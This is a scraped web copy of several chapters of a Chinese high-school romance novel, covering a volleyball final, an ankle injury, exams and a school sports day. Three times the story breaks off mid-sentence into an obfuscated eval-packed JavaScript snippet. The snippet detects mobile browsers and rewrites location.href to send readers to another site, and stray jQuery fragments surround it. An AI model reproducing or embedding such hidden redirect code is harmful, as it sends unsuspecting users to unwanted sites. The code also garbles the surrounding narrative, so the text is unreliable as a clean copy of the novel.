随着一路走来,吴睿凌的大杀招已经被一起练球的八班男排破解。每当吴睿凌有要撩球的趋势时,八班站在前排的一个队员就会适时上前,等吴睿凌撩过去时,那人就蹲下身来,把就要擦地的球猛的往后一勾,把球勾起来。两个队伍的走位与战术也在一次次的训练磨合中提升。 有一回到了休息时间,吴睿凌正要撩起网到八班的队伍中勾肩搭背,突然间,一个球从球网下面直直地飞过来砸向正在擦眼镜的路既棠。 众人都没反应过来,只有殷倚松疾走两步,挡在路既棠身前,抬腿反踢。然后球就擦着界飞了出去,又在重重地在地上弹跳了五下,所有的动作都发生在电光火石之间。 全场寂静了两秒,然后有人开始疯狂吹起了口哨。 八班的队长过来拍了拍殷倚松的肩,感慨道:“兄弟,足球……排球踢得真好啊。” 殷倚松微微低头看了他一眼,隐忍地笑了一下。 在殷倚松回头看向路既棠时,路既棠已经将眼镜扣回脸上,站到他面前,问道:“你没事吧?” 殷倚松摇摇头。 半决赛时,路既棠发现殷倚松有些不对劲,殷倚松站立时总是把重心压在右脚上,左脚几乎没有怎么大幅度动过。 比赛结束,裁判宣布他们晋级决赛之后,殷倚松下场时嘴唇已经发紫了。 路既棠瞳孔微微缩起。他半抱着扶住殷倚松,将他扶到休息处的长椅坐下,“快坐下来缓一缓。” 其他人纷纷走过来问怎么了。 殷倚松脖子上还在冒着冷汗,打湿了绛紫色的班服,他在调整自己的呼吸,“只是脚踝的旧伤复发了,没什么大事。” 路既棠抿唇,“我们去医院。” 他话音刚落地,吴睿凌已经带着刚才在观众席观赛的邓宁煜过来了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396631|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 邓宁煜看了一下情况,将殷倚松带去了医院。 晚上殷倚松回到宿舍时,宿舍里的人纷纷围过来问殷倚松的伤势。 殷倚松简单解释说是旧伤复发,休息两天就好,不会耽误比赛。在大家都散开去做其他事时,路既棠低声问:“是因为那天帮我挡的那个球吗?” 坐在椅子上的殷倚松闻言抬眼看他,温声说:“不是,你别担心,很快就会好了,你这些天太累了,快去睡吧,好好休息。” 殷倚松说这句话似乎只是为了让路既棠安心。 一天傍晚,在和十六班的队伍练球时,对方似乎是知道殷倚松左脚有伤,居然有意无意地把球往殷倚松的左腿砸。 十六班的队伍在半决赛时被三班打败,三班可以在决赛中和八班争夺冠军,十六班却只能和其他班的队伍争夺第三名了。于是,在傍晚练球时间,十六班来提议一起练球。 吴睿凌看出来了对方的不对劲,手一挥就要停止。 对方却开始用激将法,吴睿凌果然中计。 双方继续练球。 殷倚松也看出来了对方的敌意,左腿在避让的同时,也毫不吝惜力气反击。 可还是被对方抓了空,一个球带着极重的力道精准地砸中了殷倚松还没痊愈的脚踝。 路既棠瞳孔一缩,他清楚地看到殷倚松有旧伤的左脚踝崴了一下。 下一刻,殷倚松一把用手抓住了弹起的排球,反手一挥,球呼啸而出,狠狠砸向刚才对自己下手的人。 球砸中了对方的左肩,把对方整个人都砸得后退了几步,痛得叫出了声。 殷倚松额头开始沁出冷汗,嘴唇勾出了一点笑意,语气却冷得很,他对着隔着球网看向怒视着他的人说道:“不好意思了。” 他说完这句话后,终于撑不住了,往后仰躺着就要倒下去,他被一个人接住了。 冲过来的路既棠从他身后抱住了他,路既棠颤声问:“你的脚踝……你怎么样?” 殷倚松侧过脸看着路既棠,露出一点痛苦的神色,脸色惨白。 在场外看他们练球的人看到情况不对急忙过来,吴睿凌彻底发火了,他撩开球网就要过去和十六班的人对峙。 岑嘉宁拦住了他,“你干什么,现在不是冲动的时候。” 她当机立断,“快,我们先把殷倚松扶去医务室……你说上次是去医院,行,等我两分钟,我去叫值班老师。” 路既棠扶着殷倚松,在去医院的车上,殷倚松靠在他身上,冷汗不断从额头上冒出来。 路既棠拿着手帕,不断地擦拭着殷倚松额头上的汗,他动作很轻,低声说道:“很快就到医院了,没事的,很快就好了……” 殷倚松吃力地睁开眼,看着路既棠。 路既棠以为他痛得厉害,于是换了一个姿势抱着他,想让他舒服一些。 急诊医生给殷倚松看了伤,上了药,“你这情况有点复杂,旧伤添新伤的,再这么下去吃不消的。幸好不严重,但还是要好好养着。”他把褐色的小药瓶交到殷倚松手上,“这个是止痛片,等你同学倒热水回来就赶紧吃下去,躺一小时,观察观察。” 止痛片里有助眠的成分,殷倚松躺在急诊室的病床上,很快就睡着了。病床上没有被子,空调吹得有些凉,路既棠把叠穿在外面的短袖衬衫脱下来盖在殷倚松身上。 殷倚松睁开眼睛坐起来时,盖在他身上的卡其色短袖衬衫滑了下来,衬衫上还有余温。他认出来这是路既棠的外套。殷倚松的目光逐渐幽深。他抬头时,正好看到路既棠拎着袋子进来。 路既棠看到他,“你醒了。”他把袋子打开,拿出里面盒装的山药排骨粥,“快来喝点粥,我刚刚出去买的,这家是老字号,熬的粥很好喝。” 殷倚松尝了一口,“是很好喝。”他看着路既棠说。 路既棠坐在他身边,“我之前生病没胃口时,我奶奶经常给我买这家的粥,我奶奶喜欢熬汤,她很少熬粥,我如果要喝粥总是点外卖。” 他说着就笑了,“其实我们家的人都不怎么会做饭,都是看着菜谱来,哎你会做饭吗?” 殷倚松点头,“会一点,如果在家,我会自己做饭吃。” “真好,”路既棠感概,“秋染跟我说,会做饭的男生能加分,女生会更喜欢能分担家务的男人。” 他叹了口气,“我不会做饭,我只会洗碗。” 殷倚舒把那碗粥喝完了,他看了路既棠一眼,说道:“那说明你以后会和会做饭的人一起生活。” 路既棠闻言弯眼一笑,这个说法就像是考不过驾照的人,以后能享受别人给他当司机的乐趣一样。 殷倚松的恢复能力格外强,在休息几天后,再解决完和十六班的争端,他的伤已经要痊愈了。 三班和八班最终还是在决赛相遇了。 决赛时,观众席的人比前几次比赛都要多得多。其中三班和八班的人数更甚,都在为自己班的队伍加油。 这是这一届排球赛的最后一次比赛,两场比赛,同时进行,第一名、第二名、第三名和第四名都会在这一次比赛中产生。 三班和八班的队伍都不约而同穿上各自的班服,绛紫色和冰蓝色对上,两个偏冷的色调擦出了暖色调的火花。 两支队伍都对对方的招式和战术无比熟悉,比分一直咬得很紧。他们和八班的队伍分别拿下了第一场和第二场的胜利。 两边的人都竭尽全力,尽力才是对对手最大的尊重。旋身、跳跃、顶球、传球、扣球。 最后,他们以极其微弱的优势拿下第三场的胜利。三班排球队拿到了这一届比赛的第一名。 路既棠觉得自己打了一场非常痛快的排球赛。他已经很久没有这样痛快了。 比赛结束之后,八班队员照例过来勾肩搭背,“这次输给你们了,下次我们会在其他比赛赢回来的,来日方长。” 最后,他们和八班的队伍站在领奖台上,面向镜头,笑得神采奕奕。这次,也算乘兴而来,兴尽而归了。 8. 第 8 章 暑假的研学结束了,各科老师们依旧布置了很多作业,并强调开学就要考试。 路既棠依然还是那副无忧无虑的样子,对开学考试一点都不焦虑。研学在暑假的中间段,结束之后他还有十五天的时间玩耍。 在难得的假期里,路既棠与往年一样,跟着奶奶去山上避暑。路奶奶会在幽静的庭院里誊抄经文,照看花草,路既棠则跑出去找之前的玩伴,落日时分,路既棠踏着青石板做的台阶,抱着从泉眼里钓上来的鱼回来。到了夜晚,他们就坐在庭下的藤椅看松月生夜凉,听风声满清溪。这是大唐山水诗风的意象,也同样适用于当今。路奶奶喜欢诗词的灵气,于是总带着路既棠来看一看这孕育灵气的山水。 她把路既棠带成了一个满身书卷气的男孩子。 伴随着暑假的结束,路既棠回到了城里,正式成为了一名高二的学生。在去学校之前,路奶奶如每一次开学一样,给他包了一个红包,讨一个好彩头。 路既棠接过红包,欢脱地和路奶奶道别:“我回学校赶作业了。” 路奶奶摸了摸他的头,笑得很慈祥,“奶奶管你学书法和国画管得严,是因为那是先辈留下来的东西,不能有半点马虎。奶奶不管你的课业,是相信你能和你爸爸一样,就算再玩闹心里也会有分寸,但是你要是再这么下去,老师说不定就会上门家访了。” 路既棠笑得很乖,带着讨好的意味,“不会的,奶奶我下次假期一定写作业,您放心吧。” 下次一定的糊弄文学永不过时! 路既棠回到学校,在宿舍见到了殷倚松,路既棠和寝室的人都打了招呼之后,打开行李箱开始分水果和小零食,还特地把蓝莓留给了殷倚松。他记得殷倚松的口味。 分零食的过程中,吴睿凌还从床上翻下来,夸张地捧住路既棠的脸做要亲状,“天哪路哥,我以后都叫你哥了!之前周末回家给我们带也就算了,这次还带这么贵的,你真的,我哭死,快,给我亲亲!” 路既棠推开他的脸,展现出了直男的嫌弃。 分完之后,路既棠问殷倚松,“你的脚踝怎么样了?”他一直觉得殷倚松之前是在宽慰他,暑假放假的时候,每天都会和殷倚松发信息聊天,顺道问殷倚松的脚伤,因为看手机太频繁,路奶奶甚至还在一天的晚饭时问他是不是谈恋爱了。 殷倚松看起来像是被他问得有点无奈,他笑道:“我爷爷是中医,会正骨,脚踝的伤是小时候落下的,会有一点隐患,但以后只要我注意就好了,不会影响日常生活的。” 蹲下来的路既棠闻言抬眼看他,眼睛亮晶晶的,“会正骨的中医,好厉害!我之前胃不舒服,你给我捏穴道,你们家是不是都是中医?” 殷倚松看了一眼他的眼睛,敛眸答道:“我们家很多人都是中医,但也不是全都是,有些人是浅尝辄止地学,有一些人需要深入地学,比如,我爷爷那一辈主要是我爷爷,我父亲那一辈主要是我叔叔,”说到叔叔那里时,殷倚松的语气有点奇怪,他接着说道:“我们这一辈,大概率是我。” “很厉害。”路既棠说,“我国的医学和命理学存在千年,总有它的道理。医易同源,难怪你之前对易经那么熟悉。” 殷倚松怔然,“你是这样想的。”他说:“我以为你会和很多人一样,以为西医更好。” “我对中医的认知还很浅薄,不敢妄自评论,”路既棠神色认真,“但我相信,悬壶济世和治病救人的理念总不会是假的。” “你这么认真,”路既棠说,“我相信你如果以后走这条路,一定会是一个很好的医生。” 殷倚松的眸光闪动,许久之后,他低声说了一声:“好。” 开学考试之后,邓宁煜重新调整了座位,路既棠和殷倚松搬到了第三组。路既棠的社团工作随着高一的新生进来之后减少了很多,他不用再用午休或者课余时间去干活了。 但是带新人也让他有一点苦恼,他需要带两个学弟两个学妹,这四个人都很听话,也很能干,就是有一个学弟经常往他的班级跑,一声声地叫着学长,叫得班级里不少人都侧目了。这天大课间,他来邀请路既棠去看自己打篮球,被路既棠以“板报画完了吗,还没画完打什么篮球”为理由冷酷地回绝了。 路既棠:不许偷懒。 他回到教室坐下,却发现殷倚松正看着那个学弟,学弟还在目光殷殷地往路既棠这边看,看来没打算放弃。 殷倚松的目光有点冷,他问路既棠:“他这次又来找你干什么?” 路既棠趴桌子,他又困了,“他找我去看他打篮球。” 这回殷倚松连声音都冷下来了,“你答应了吗?” “没有。”路既棠额头蹭了蹭自己的抱枕,“我让他给我干活。”说完路既棠就趴在抱枕上闭上了眼睛。他总喜欢在下课时间睡一会,这样下一节课就有精神听了。 路既棠闭上眼的样子乖巧极了,睫毛卷而翘,看着很无害,与他醒着时不一样。他醒着时,眼睛黑白分明,眼尾上翘,眉尾锋利,细框眼镜中和了他锋利的眉眼,让他看起来温和无害,而他笑起来又不一样,笑起来眼睛会弯,弯得像月牙,明亮又开朗。 殷倚松移开目光,又看向窗外,学弟看路既棠趴下了,已经走了。 这个人真招人喜欢。殷倚松想。 预备铃响了。这一节课是数学课。 路既棠睡眼惺忪地抬起头来,数学老师已经风风火火地走进教室,短发的数学老师性格豪爽,很有江湖女侠范。 数学老师把一沓试卷拍到讲台上,问道:“今天到谁讲题了,赶紧上来。” 他们班分了八个数学兴趣小组,每天的数学课上的前五分钟,由轮到的小组中的一个人上去讲一道数学题。数学题经小组成员讨论过再讲,用来巩固之前学的知识。 睡眼惺忪的路既棠戴上眼镜,站起来,“老师,是我。” 数学老师定睛一看,“路既棠,”她招手,“上来吧。” 路既棠讲的是一道导数填空题,他尽量用最容易理解的方法讲,一边讲一边在白板上写演算步骤。 他结束时,刚好五分钟。 数学老师沉吟了一会,“这道题的解题思路和昨晚小测填空题倒数第一题的是一样的,”她恨铁不成钢,“但是全班做对的人居然只有五个!” 她气鼓鼓地说:“你们这样让我很挫败的!”她把试卷发下去,“下面讲昨晚的小测。” 从上了高中开始,他们写题如喝水,对数学题更是如此。但是数学题总是很诚实,会就是会,不会就是不会。 数学课下一节是政治课,邓宁煜在上课之前宣布:“今年高二的期中考试,市里要求统一考文综,政治、历史和地理三科合成一张试卷考,学校为了让大家提前适应,在这周六的大测中安排了文综考试,大家准备一下。” 班上顿时炸开了锅。 邓宁煜一脸淡定,“勿惊讶,第一次考可能会觉得难,适应就好了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396632|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周六晚自修下课,两个半小时的文综终于考完了,班上响起心如死灰的哀嚎声。 路既棠收笔,他想回寝室睡觉了。 身后的李未序的声音都在抖,“嘿!我手都要写断了,为什么文综这么恐怖?” “那题根本就是扫一眼就直接写了,还思考,哪有时间思考,根本就写不完!”吴睿凌仰躺着说道。 “选择题有一百四十分,要是保证了前面的准确率,哪怕后面的写得差一点,最后的分数也不会太难看。”吴睿凌和李未序拍对方肩膀相互安慰,“没事,我们可以的。” “我们要选择题就好,后面的大题,就交给写字快得吓人、成绩又好的人吧。”吴睿凌说着转过身去往路既棠的座位看,然后他们就发现,路既棠已经走了。 几个还在教室的女孩子听到他们这样说,笑着打趣道:“你们这样,很耽误路既棠深藏功与名的好吗?” 因为这是第一次考文综,所以连一向很佛的邓宁煜都对着大测的试卷翻来覆去地讲知识点和方法,更不用说历史老师和地理老师。那次大测之后,班上的一些人每逢考文综都会先来拜一拜路既棠,非常夸张,把路既棠拜麻了。 很快,期中考试来了。这次考试按照高考的模式来,两天时间考完。 每逢期中考试和期末考试这些大考,全市考生的试卷打乱,各校老师一起改,所以出成绩要比平时的月考慢上一周。等真正出成绩时,老师们已经把试卷讲完了,甚至连分数线都预测出来了。 这次考试成绩最备受瞩目的是文综,而最先公布文综成绩的是当天上午有课的历史老师。历史老师穿着明艳夺目的红色长裙走进教室,她一边放PPT一边问:“你们猜这回年级文综第一名是谁?” “……路既棠?”有人出声。 历史老师笑起来,“猜对了。两百七十分。”历史老师拿着翻页笔,“平均每科都上九十了,文综是年级第一名,历史是年级第一名,文综成绩也是市里第一名,第二名两百四十六分,市里已经很久很久没有文综过两百七的人了。” “厉害啊!”班上有人欢呼,“我就知道我考试前拜路既棠准没错!” 历史老师被逗笑了,“你们这也太迷信了吧。”她眨眼,“我看了一眼路既棠的答题卡,选择题错了一道地理题,三科里面只有地理没上九十,小心地理老师请你去喝茶。” 路既棠知道她在开玩笑,于是跟着班上笑出声的同学一起微笑。 下课后,教室外,历史老师对路既棠说道:“我也教了你一年多啦,你是我见过的非常有文科天赋的学生。我听课代表说过你的学习方法,觉得非常不错,掌握阶段特征能帮助我们解决现阶段百分之八十的题目,本来这些要到下学期一轮复习时再体系化地讲的,但现在看来,我觉得可以让大家做体系化的阶段特征思维导图啦,你把你的思维导图拿出来让我复印几份,给班上的同学做个参考。” 路既棠点头,说:“要卷起来了。” 历史老师闻言,扬眉说道:“小孩子别什么词都乱用,学习的事,那能叫卷吗?”身为某站资深用户的历史老师当即和路既棠交流起了“内卷的名义”。最后,历史老师热血沸腾,握拳道:“我只不过是祖上三代挨骂,骂怕了,以后我必定要悄悄带着班上的同学卷,惊艳所有领导!” 路既棠忍俊不禁,“老师加油!” 最后,历史老师恢复稳重,矜持地点头,然后捧着教案走了。 9. 第 9 章 期中考试之后,就是一年一度的校运会。 校运会是南中学生最期待的活动,没有之一。因为校运会期间停课,学校不再强制收手机,班主任会把手机发回学生手里。校运会共三天时间,第一天晚上举办文艺演出活动——校园十大歌手。中午和下午的放学时间,学生可以自由进出校园。 校运会,南中学生快活玩耍的温床。 校运会前一周,吴睿凌拿着报名表在班上到处找人报名。女生们都很踊跃,很快女子的项目就满人了。但文科班的男生简直屈指可数,每次这种活动或多或少都会缺人。于是体育好的男生往往只能一个人同时报名多个项目,比如吴睿凌,再比如殷倚松。 而路既棠在校运会中的角色,就是后勤人员和写稿人。学校要求每个班每天都要有人向广播站投稿。邓宁煜对他们的要求是班上的每个人在三天校运会里至少写两篇通讯稿。 路既棠今年主动一个人包揽下了整个寝室的通讯稿,也就是说,他至少要写二十篇通讯稿。 “哥,靠你了!”写起作文来痛苦万分的潘禄林虎目含着感激,“其他的项目我们上就好,你就尽管在大后方独自美丽!” 历年校运会的开幕式总是精彩纷呈。 南方的秋天不像北方,南方的秋天温和婉转,它承继着夏季的热意,来得悄无声息的。因此,校运会虽然在十一月初,同学们却依然穿着短袖,站在观众席观看入场的方阵队。 高一到高三各班级的方阵在经过舞台时,有一个时间不超过两分钟的表演。有些班级的方阵队中有一些有趣可爱的卡通人物,如米奇、皮卡丘、白雪公主和皇后,而有些班级则是跳街舞、汉服秀以及男扮女装或者女扮男装,都非常有想象力和创造力。每年校运会开幕式都会在表白墙上激起极高的讨论度。 开幕式结束时,已经是到了中午。路既棠跟着留守大本营的女生们整理大本营的东西,殷倚松从开幕式的观众席那边过来,他还穿着班级方阵队的演出服。今年三班方阵的主题是白雪公主和七个小矮人。殷倚松现在一身小矮人打扮,看着有点俏皮,和平时持重的样子的有些出入。 看得路既棠想伸手揉一揉殷倚松的头,幸好他最后忍住了。 下午,各项比赛正在如火如荼地进行着,三班有安排的同学们已经各司其职,运动员去参加比赛,啦啦队在场外给运动员加油,有人在跑道终点处准备着扶长跑运动员回大本营休息,路既棠这天下午则被安排与另外两个女生留守大本营,而没有被安排的同学就可以在校园里到处玩耍。他在大本营整理完物品后,开始一份一份地写通讯稿,女生们则在准备葡萄糖水后一起刷着手机笑着打闹,气氛欢乐极了。 其中一个女生在路既棠写了六份通讯稿之后,问:“我的家人啊,你这是要写多少份啊?”冯晓曼的眼睛睁得圆溜溜的,很震惊。 路既棠抬头看她,“今天写十份。” 冯晓曼给他抱拳,“壮士!” 路既棠哑然失笑,“我没有那么卷,我是替我的室友们写,他们去比赛了,我不能什么都不做。” “你这样的好室友,要去哪里找嗷!”另一个女生贺姝放下手机,也凑了过来,秀丽的长眉挑起,看着路既棠。 路既棠诚实答:“不知道。” 两个女生闻言更欢乐了。贺姝于是接着逗他,“有没有人说你像布偶猫啊,”她伸手比划,“那么大一只,毛茸茸的,又白又乖。” “这么乖的小猫咪,是要被姨姨亲秃的!” 路既棠瞳孔地震。 殷倚松回来时,正好看到路既棠被逗的这一幕,他走过去,从后面拍了拍路既棠的肩。两个女生看到他回来了,纷纷询问:“你的比赛结束啦?这么快,要不要喝葡萄糖水,快进来休息一下。” 殷倚松道谢,“还没有结束,等一会还有第二场,现在暂时不用喝水。”他问路既棠:“你写得怎么样了?” 路既棠把通讯稿铺开给他看,“写了六篇了,现在这些可以先拿去广播站那边投稿了。” 这时,几个女生过来换班,路既棠他们可以不用留守大本营。 “那我们走吧。”殷倚松把路既棠拉起来,拿起路既棠写的通讯稿和路既棠一起走了。 留在大本营的冯晓曼看着他们俩远去的背影,感叹道:“为什么我在他们俩中看到了一种难以言喻的默契感。” 贺姝搭上她的肩膀,和她一起看,“嗐,以后说不准他们就是一对呢。” 闻言,冯晓曼说道:“反正毕业之前是不可能的,别想了,就算毕业之后,我看路既棠也未必吧。” 贺姝又挑了挑眉,“路既棠总有一种在自己不知情的情况下,把自己的桃花赶走的能力,也不知道该说他懂还是不懂。不过也挺好的,希望别让这些事伤害他。十五班那两个男生的事都闹大了,挺可怕的。”两人唏嘘了一会,又换了话题继续玩耍去了。 在把通讯稿交给广播站的工作人员后,路既棠说:“走吧,我去终点看你比赛。” 路既棠站在终点处的隔离线外,看着穿着一身白色运动服戴着黑色护腕的殷倚松从一百米的起点处飞奔而来。 像一只振翅的雪雁,在午后阳光的晕染下,披上了明媚绮丽的颜色。 殷倚松跨过终点线之后,速度还没有缓下来,他径直闯过隔离线,路既棠上前一步,接住了他。下一刻,殷倚松抱住了他。很短的一瞬,殷倚松放开了手。 路既棠扶着殷倚松站稳。 殷倚松解释:“跑得太快了,没刹住。” 路既棠“嗯”了一声,给他递纸巾,“你要回大本营喝葡萄糖水吗,或者喝我手里的矿泉水。” 殷倚松接过纸巾,“喝矿泉水就好了。”说着他笑起来,“我在检录的时候,听到了广播站在读你给我写的通讯稿,写得真好。” 路既棠很受用地眯起眼睛又“嗯”了一声,神情惬意。 “我今天的比赛都结束了,足球场草地那边有皮卡丘,”殷倚松将矿泉水瓶盖拧紧,“我们过去看看吧。”路既棠很喜欢皮卡丘。 他一说,路既棠的眼睛果然亮了起来,“好啊。” 他们走出众人视线。 而一位路过的摄影社成员随手将他们的背影框进了相机里。 他们两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396633|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,一个一身白色运动服,一个焦糖色短袖衬衫黑色长裤,身形修长挺拔,步履生风。 湛蓝高远的天空、红色的塑胶跑道和行经的人流都成背景,唯有那两个背影鲜活明晰,刻在被定格的时光里。 摄影社成员想追上去把照片给他们时,路既棠和殷倚松已经走了。于是她把照片夹进随身带着的一本书里,等下一次见面时,再给他们。她想。 已经站在足球场草地上的路既棠正在捏皮卡丘的爪子,皮卡丘是由人扮演的,和路既棠一样高,这个皮卡丘还毛茸茸的,看着就很好摸。皮下的人见路既棠这么喜欢,于是弯下腰,示意路既棠去摸它的脸,脸上的毛更多,更可爱,快摸! 本来还在一旁看着路既棠捏爪子的殷倚松此时走了过来。殷倚松一过来,皮下的人一下子就直起了腰,也不再要路既棠摸了。 路既棠觉得奇怪,他回过头去看殷倚松。殷倚松眼睛里的寒气还没散去,像深渊一样。 皮下的人呐呐地喊了一声“学长”。 路既棠:…… 这不是之前总往三班跑的学弟吗? 路既棠和学弟聊了几句,学弟沈释北和他解释自己刚才没跟路既棠打招呼的原因,一边说还一边偷偷地看路既棠身旁的殷倚松。 殷倚松之前脸上还有笑意,现在则完全面无表情。 没一会,沈释北就顶着皮卡丘的脸跑去足球场草地的另一边了,跑之前还让路既棠好好和一旁的米奇玩。 殷倚松看着他,欲言又止。最后,殷倚松说:“我们回大本营吧。” 这天晚上,校园十大歌手比赛如约而至。 高一到高三几千人坐在大操场的观众席,荧光棒和手机的灯光摇动着,台下的观众热情高涨,台上的选手唱得真挚,像一场演唱会,气氛热烈的演唱会。 到后期,路既棠开始刷手机来缓解睡意,他中午时没有午休,现在困得快睁不开眼睛了。 过了一会,刷着手机也不能疏解他的困意,他的头开始一点一点,等惊醒时发现自己坐歪了又乖乖地坐端正,撑着眼睛往台上看。 殷倚松时不时侧过头看他,在路既棠要倒下去前扶一把。 坐在路既棠右前方的杨秋染回头时,刚好看到路既棠一脸困倦的样子,“乖乖,怎么困成这样了?” “还有七个节目,”杨秋染把手伸过来,要推一推路既棠,“你再坚持一会,我这有可乐,你要不要喝一罐醒醒神?” 路既棠拖着下巴,声音都含糊了,“不用了,我只想睡觉。” 坐在杨秋染旁边的冯晓曼也转过头来,“下午路既棠回去写了剩下的四篇通讯稿,我眼睁睁地看着他又被七班的魏文昊抓去写社团的宣传稿了,能不困吗?”她叹息一声,“工作使人劳累。” 在杨秋染和冯晓曼都转回去后,殷倚松伸手握住路既棠的肩膀,低声和路既棠说:“你要是实在困,可以靠在我的肩头睡一会,比赛结束我再喊你。” 路既棠抬头,睁大了眼睛看他,清亮的眼睛已经蒙上了一层雾,困倦让他不想再思考,过了一会,路既棠靠在殷倚松的肩膀上闭上眼睛,睡着了。 10. 第 10 章 杨秋染借到提神的薄荷糖,再转头去看时,就看到幽暗的环境中,路既棠安安静静地靠在殷倚松的肩窝里。 他鼻梁上的眼镜被殷倚松摘下来拿在手里,而殷倚松的另一只手则环抱着路既棠,以免路既棠歪倒。 殷倚松没看舞台,也没看路既棠,只是垂眸,不知道在想什么。 杨秋染张张口,最后什么也没说,把薄荷糖放进包里。 坐在她旁边的冯晓曼和贺姝在杨秋染的举动下,疑惑地也转过头去看。一瞬后,冯晓曼捂住了嘴,而贺姝则意味深长地挑了挑长眉。 她们这个角落很靠边,如果手机的光束不刻意对准,是看不到他们二人现在的情况的。 她们三人默契地一言不发,转回头去看舞台。 睡着的路既棠则难得地梦到了小时候的事。 那时,他还走不稳路,被噩梦吓醒之后,半滑半爬地下了床,小手蜷起来抓着光滑的墙壁,一点点地往客厅挪,费了好大的力气终于到了客厅。 天已经完全黑了,客厅没有开灯,黑漆漆的,他不小心碰倒了矮桌上的玻璃杯,玻璃杯碎了,将他的白嫩的手扎出了血,他愣了好一会,察觉到了痛意,呜呜地哭出声来。 趴在阳台睡觉的萨摩耶被他的哭声惊醒,噔噔地跑到他的身边。 一身雪白毛色的大狗无措地伸出爪子推了推小主人,伸出舌头舔掉小主人脸颊上的眼泪。小路既棠却越哭越伤心。 他的哭声没有叫来人,一直到他哭累了,枕着萨摩耶的尾巴在客厅的地毯睡着了。 开门声响起,客厅的灯亮起来,路既棠又被惊醒,睁眼看到了爸爸妈妈,他们还穿着出庭时的律师袍——只是那时的路既棠并不懂这些,他看到惊慌地跪在他身边握着他被扎出血的小手的妈妈,“小棠!” 他被人抱了起来,抱着他的人声音冷静低沉,安慰道:“眠月,你别慌,没事的,我们带他去医院。” 医院里,他乖乖坐在妈妈腿上,配合护士姐姐给他包扎伤口,即使痛也只是抿着唇,一言不发。 包扎完之后,秀丽的女人把他抱在怀里轻轻地哄,“以后不会把小棠一个人丢下了,我们小棠这么乖,妈妈怎么舍得。” 路辞曲带了一碗糖水回来,高大温文的男人把路既棠抱了过去,柔声道:“小棠乖,喝糖水。”他将糖水一勺一勺地喂给路既棠,甜丝丝的糖水使得路既棠弯起眼睛,对他们笑。他不记疼,只要他们陪着他就好。 可是后来,说好不会丢下路既棠的人还是把他丢下了。 梦外,殷倚松低头,看着路既棠的眼角沁出了一滴眼泪。 殷倚松一怔,他下意识想替路既棠擦掉那滴眼泪,而路既棠已经醒了。 路既棠睁开眼睛的那一刻,殷倚松看到了他眼神里的悲切和不舍。但路既棠闭眼,再一睁眼,已经恢复了平时的样子。 路既棠向他道谢,然后沉默,很深的沉默,之前从未有过的沉默。 第二天,路既棠很早就回到教室写剩下的十篇通讯稿,在殷倚松提出想要和他一起写时,路既棠回绝了,“通讯稿我很快就能写完,你好好准备比赛,我肯定能在你比赛前写完去看你比赛。” 殷倚松握着手机的手紧了紧,过了一会,他说:“好。” 路既棠交了通讯稿,如约站在终点处的隔离线外等殷倚松,殷倚松今天的比赛只有男子四百米决赛。 比赛结束后,殷倚松喝着路既棠递过来的水,喝完后,他开口,“你昨晚流泪了,我从没见过你这样,我能问为什么吗,”他顿了顿,又说道,“如果不方便,可以不说,我只是希望你不要伤心。” 路既棠一颤,他沉默了一会,说道:“只是做了一个噩梦。” 殷倚松默然,不再说话了。 第二天,由于殷倚松家中突然有事,必须请假回家,男子四乘一百接力赛由另一个男生郑卓石替代殷倚松上场了。 郑卓石学习刻苦,性格冷僻,在宿舍存在感低,平时不怎么参加集体活动。这次殷倚松不在学校,其他男生同时段有比赛,而路既棠对这类比赛有应激反应,在实在没有人选之际,郑卓石一言不发地顶上了。 比赛结束之后,吴睿凌扛着一箱饮料分给众人,在分到郑卓石时,他拍了一下郑卓石的肩膀,白嫩的脸上尽是豪爽的江湖气,“嘿,看不出来,你跑步还真快,之前你在宿舍都不怎么说话,我今天长见识了,你这是闷声干大事啊。”郑卓石接过水,点了点头,就自己找个离人远的地方坐着了。 李未序勾住吴睿凌的脖子,吴睿凌当即反勾回去,两个人在原地转了一圈,最后还是李未序魔高一丈,他勾着吴睿凌说道:“别打扰他,问就是社恐,你这种社牛理解不了的。” 吴睿凌给了他一顿锤。 肖意喝完了一瓶水,高瘦的人肩膀上扛着一箱饮料,“女生们的比赛还没结束,我们也给她们送个水。” 于是几个男生扛着饮料浩浩荡荡地去看女生们的比赛了。 三班女孩多,女孩们在该狠的时候一点都不放水,在田赛和径赛的项目上拿了很多漂亮的名次。 路既棠过来时,杨秋染刚好结束比赛,她扎着马尾,戴着鸭舌帽,脸被晒得泛红,眼睛亮晶晶的,她蹦到路既棠面前,“铅球比赛结束啦,第一名稳了,我厉不厉害!” “你最厉害了。”路既棠夸她,把手中拿着的饮料递出去,“你喜欢的芒果汁,快喝两口解解渴。” 